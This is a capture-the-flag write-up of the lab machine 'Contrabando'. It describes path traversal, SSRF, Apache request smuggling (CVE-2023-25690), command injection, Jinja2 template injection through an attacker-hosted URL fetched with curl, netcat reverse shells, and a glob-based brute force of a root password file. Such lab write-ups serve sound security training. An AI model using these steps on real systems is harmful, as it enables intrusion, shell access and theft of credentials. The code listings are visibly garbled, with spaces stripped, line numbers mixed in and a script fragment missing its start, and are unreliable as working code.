Upon accessing http://10.201.63.47/, the site presents a static Coming Soon page, which includes a navigational link directing users to /page/home.html.
Navigating to http://10.201.63.47/page/home.html displays only a message indicating that the password generator is currently unavailable, with no additional content present.
A notable observation, which may prove relevant later, is that the response headers reveal the presence of two distinct Apache2 servers.
Initial fuzzing of the webroot did not yield any notable results. However, targeting the /page/ endpoint for potential files revealed an unusual behavior: all responses consistently returned a 200 OK status.
Upon inspecting one of these responses, a peculiar behavior is observed: any input provided after /page/ in the URL appears to be directly passed to the readfile() function within /var/www/html/index.php.
Bypassing a test string and providing the path to a valid file (using double URL encoding) confirms that the readfile() function successfully retrieves the file contents, allowing arbitrary file reads. Furthermore, leveraging wrappers such as http:// enables external requests to be made and their responses read, exposing a Server-Side Request Forgery (SSRF) vulnerability.
Let see /etc/passwd
NOTE
we should encode this becoz dangerous string, may be blocked. after encode you will get %252Fetc%252Fpasswd
Exploiting this vulnerability for reconnaissance and making targeted requests reveals that the application is running within a Docker container. Apart from noting that the Apache2 server is listening on *:8080 via its configuration, there is little of immediate value.
Resuming fuzzing of the /page/ endpoint, this time with the -fw 19 option to ignore readfile() errors, uncovers two noteworthy files: index.php and gen.php.
Analysis of /page/gen.php reveals a straightforward PHP script that accepts a length parameter via POST and forwards it directly to the exec() function, introducing a command injection vulnerability.
Reviewing /page/index.php confirms that this script underlies the file read and request functionality. It extracts the page parameter from the GET request and passes it directly to readfile(). Interestingly, requests to /page/* are still processed successfully, despite the script being designed to accept the parameter explicitly via a GET variable.
At this stage, the available findings suggest that the application relies on a two-tier setup. The frontend Apache2 server intercepts requests and, when the URL begins with /page/, it extracts the subsequent content and proxies the request to a backend Apache2 instance. This backend hosts index.php and gen.php, with the proxied request taking the form: http://backend:8080/index.php?page=* This mechanism prevents direct access to gen.php on the backend.
Despite this restriction, index.php remains accessible, allowing the readfile() function to be invoked with arbitrary input. Leveraging this, it is possible to request backend resources such as http://127.0.0.1:8080/gen.php. However, the readfile() function only issues GET requests, limiting interaction with gen.php to retrieval only. Since exploiting the command injection vulnerability in gen.php requires a POST request, this creates a barrier to direct exploitation.
Investigating how the proxying behavior may be configured in Apache2 suggests that it is likely implemented using mod_proxy, with a configuration resembling the following:
Terminal window
1
ProxyPass"/page/""http://backend:8080/"
2
ProxyPassReverse"/page/""http://backend:8080/"
HTTP Request Smuggling via mod_proxy (CVE-2023-25690)#
Recon indicates a front-end Apache HTTP Server (mod_proxy) forwarding paths beginning with /page/ to a back-end Apache instance. The proxy constructs target URLs as:
http://backend:8080/index.php?page=<suffix>
In Apache 2.4.55, a configuration like this is vulnerable to CRLF injection CVE-2023-25690, enabling HTTP request smuggling.
After gaining a foothold, the container’s IP is identified as 172.18.0.3. Performing a network scan from within the container using RustScan reveals an unusual open port on the host machine at 172.18.0.1:5000. This indicates a potential service on the host that may be reachable from the container and warrants further enumeration.
Terminal window
1
┌──(kali㉿kali)-[~/Desktop]
2
└─$nc-lvnp443
3
listeningon [any] 443 ...
4
connectto [10.4.19.136] from (UNKNOWN) [10.201.92.207] 37618
5
bash:cannotsetterminalprocessgroup (1): Inappropriate ioctl for device
Accessing http://172.18.0.1:5000/ from the container using curl reveals a web interface containing a form that accepts URLs via POST requests. This indicates the host is performing server-side requests on behalf of user-supplied input, presenting a potential SSRF attack vector.
The service uses PycURL, which supports the file:// protocol. This allows local file access on the host. Using this mechanism to read /etc/passwd confirms the presence of the hansolo user as well as the root account, indicating potential targets for privilege escalation.
Inspecting /proc/self/status reveals that the application process is running under the hansolo user account. This confirms the current privilege level within the container.
After initial attempts to access sensitive files like SSH keys prove unfruitful, the next step is to analyze the application’s source code to understand its functionality. The executable path can be retrieved from /proc/self/cmdline, providing a starting point for source code enumeration.
If an attacker hosts a file containing a malicious Jinja2 template, submitting its URL via the website_url parameter would cause the template to be rendered on the server, executing arbitrary template code.
When we make the site fetch it, the response would be a template that would be formatted into the HTML code present in the application code and would get passed to render_template_string and executed.
now lets turn on listener and execute the same cmd curl -s -d 'website_url=http://10.4.19.136/template' http://172.18.0.1:5000/, we obtain a shell as the hansolo user and can read the first flag.
Terminal window
1
┌──(kali㉿kali)-[~/Desktop]
2
└─$nc-lvnp443
3
listeningon [any] 443 ...
4
connectto [10.4.19.136] from (UNKNOWN) [10.201.92.207] 54278
5
bash:cannotsetterminalprocessgroup (725): Inappropriate ioctl for device
To execute the second root-level command (/usr/bin/python*/opt/generator/app.py), the hansolo user password is required. Before attempting brute force, we first examine the /usr/bin/vault script, which can be executed as root without a password, to identify potential hints or mechanisms that could reveal or assist in obtaining the password.
1
hansolo@contrabando:~$cat/usr/bin/vault
2
#!/bin/bash
3
4
check () {
5
if [ !-e"$file_to_check" ]; then
6
/usr/bin/echo"File does not exist."
7
exit1
8
fi
9
compare
10
}
11
12
13
compare () {
14
content=$(/usr/bin/cat"$file_to_check")
15
16
read-s-p"Enter the required input: "user_input
17
18
if [[ $content == $user_input ]]; then
19
/usr/bin/echo""
20
/usr/bin/echo"Password matched!"
21
/usr/bin/cat"$file_to_print"
22
else
23
/usr/bin/echo"Password does not match!"
24
fi
25
}
26
27
file_to_check="/root/password"
28
file_to_print="/root/secrets"
29
30
check
31
hansolo@contrabando:~$
we have /usr/bin/vault
/usr/bin/vault
1
#!/bin/bash
2
3
check () {
4
if [ !-e"$file_to_check" ]; then
5
/usr/bin/echo"File does not exist."
6
exit1
7
fi
8
compare
9
}
10
11
12
compare () {
13
content=$(/usr/bin/cat"$file_to_check")
14
15
read-s-p"Enter the required input: "user_input
16
17
if [[ $content == $user_input ]]; then
18
/usr/bin/echo""
19
/usr/bin/echo"Password matched!"
20
/usr/bin/cat"$file_to_print"
21
else
22
/usr/bin/echo"Password does not match!"
23
fi
24
}
25
26
file_to_check="/root/password"
27
file_to_print="/root/secrets"
28
29
check
Looking at the script, we can see a vulnerability in the if [[ $content == $user_input ]]; then line, as the $user_input parameter which is read from the user is not quoted. This allows us to use glob matching in the comparison as such:
Terminal window
1
$user_input="*"; if [[ "password"=="$user_input" ]]; thenecho"TRUE"; elseecho"FALSE"; fi
2
FALSE
3
4
$user_input="*"; if [[ "password"== $user_input ]]; thenecho"TRUE"; elseecho"FALSE"; fi
5
TRUE
Exploiting this by entering * as our input, we are able to bypass the check and access the contents of /root/secrets, though it provides no useful information.
1.LightsaberColors:LightsabersinStarWarscancomeinvariouscolors,andthecoloroftensignifiestheJedi's role or affiliation. For example, blue and green lightsabers are commonly associated with Jedi Knights, while red lightsabers are typically used by Sith. However, there are exceptions, and the color can also represent other factors.
5
6
2. Darth Vader'sBreathing:TheiconicsoundofDarthVader's breathing was created by sound designer Ben Burtt. He achieved this effect by recording himself breathing through a scuba regulator. The sound became one of the most recognizable and menacing elements of the character.
7
8
3. Ewok Language: The Ewoks, the small furry creatures from the forest moon of Endor in "Return of the Jedi," speak a language called Ewokese. The language is a combination of various Tibetan, Nepalese, and Kalmyk phrases, as well as some manipulated dialogue from the Quechua language.
9
10
4. Han Solo'sCarboniteFreeze:In"Star Wars: Episode V - The Empire Strikes Back,"HanSoloisfrozenincarbonite.Thefamousline,"I love you,""I know,"wasactuallyimprovisedbyHarrisonFord.TheoriginalscripthadHanrespondingwith"I love you too,"butFordfeltthatHan's character wouldn'tsaythat,sohead-libbedthenow-famousline.
11
12
5.Yoda's Species and Name: Yoda'sspeciesandhomeworldareneverrevealedintheStarWarsfilms,andGeorgeLucashasbeenadamantaboutkeepingthisinformationamystery.Additionally,thename"Yoda"waschosensimplybecauseGeorgeLucaslikedthesoundofit.
13
hansolo@contrabando:~$
Rather than merely bypassing the check, the script’s glob pattern matching can be leveraged to brute-force the value of the $content parameter, which is read from /root/password. By iterating over possible characters, prepending each to a wildcard (*), and observing the script’s behavior, it is possible to progressively reconstruct the password.
example :
Terminal window
1
for char incharset:
2
test_pattern=char+'*'
3
runvaultscriptwith $content =test_pattern
4
ifscriptbehavesasexpected:
5
appendchartoknown_password
Terminal window
1
$user_input="a*"; if [[ "password"== $user_input ]]; thenecho"TRUE"; elseecho"FALSE"; fi
2
FALSE
3
...
4
5
$user_input="p*"; if [[ "password"== $user_input ]]; thenecho"TRUE"; elseecho"FALSE"; fi
6
TRUE
7
...
8
9
$user_input="pab*"; if [[ "password"== $user_input ]]; thenecho"TRUE"; elseecho"FALSE"; fi
10
FALSE
11
...
We can automate this process with a Python script that loops through all characters prepended to * and checks if the output from the script includes Password matched!. If it does, we know we have discovered a character from the beginning of the password and can move on to the next character.
secret=input("Any words you want to add to the password? ")
8
password_characters=list(characters+secret)
9
random.shuffle(password_characters)
10
password=''.join(password_characters[:length])
11
12
returnpassword
13
14
try:
15
length=int(raw_input("Enter the desired length of the password: "))
16
exceptNameError:
17
length=int(input("Enter the desired length of the password: "))
18
exceptValueError:
19
print("Invalid input. Using default length of 12.")
20
length=12
21
22
password=generate_password(length)
23
print("Generated Password:",password)
Analysis of the sudo configuration shows that the command can be executed with /usr/bin/python*. Upon inspecting the system, it is confirmed that Python 2 is available as one of the matching binaries, providing an additional execution vector.
The Contrabando challenge was systematically exploited as follows:
HTTP Request Smuggling (CRLF Injection) – An Apache2 front-end proxy was vulnerable to CRLF injection, allowing us to smuggle a crafted request to the back-end server. This enabled the exploitation of a command injection vulnerability on the back-end, providing an initial shell inside a Docker container.
Internal Network Enumeration & SSRF – Within the container, network enumeration revealed an internal web service exposing a Server-Side Request Forgery (SSRF) vulnerability. This was leveraged to access and analyze the application’s source code.
Server-Side Template Injection (SSTI) – Combining the SSRF with a Jinja2 SSTI vulnerability in the application allowed execution of arbitrary template code, granting a shell on the host system.
Password Recovery & Privilege Escalation – An unquoted Bash script parameter, combined with glob matching, was used to brute-force the hansolo user password. With the password, the sudo-enabled Python2 script was exploited for Remote Code Execution (RCE), escalating privileges to root.
This chain of vulnerabilities—from request smuggling to RCE—ultimately allowed full compromise of the host and completion of the room.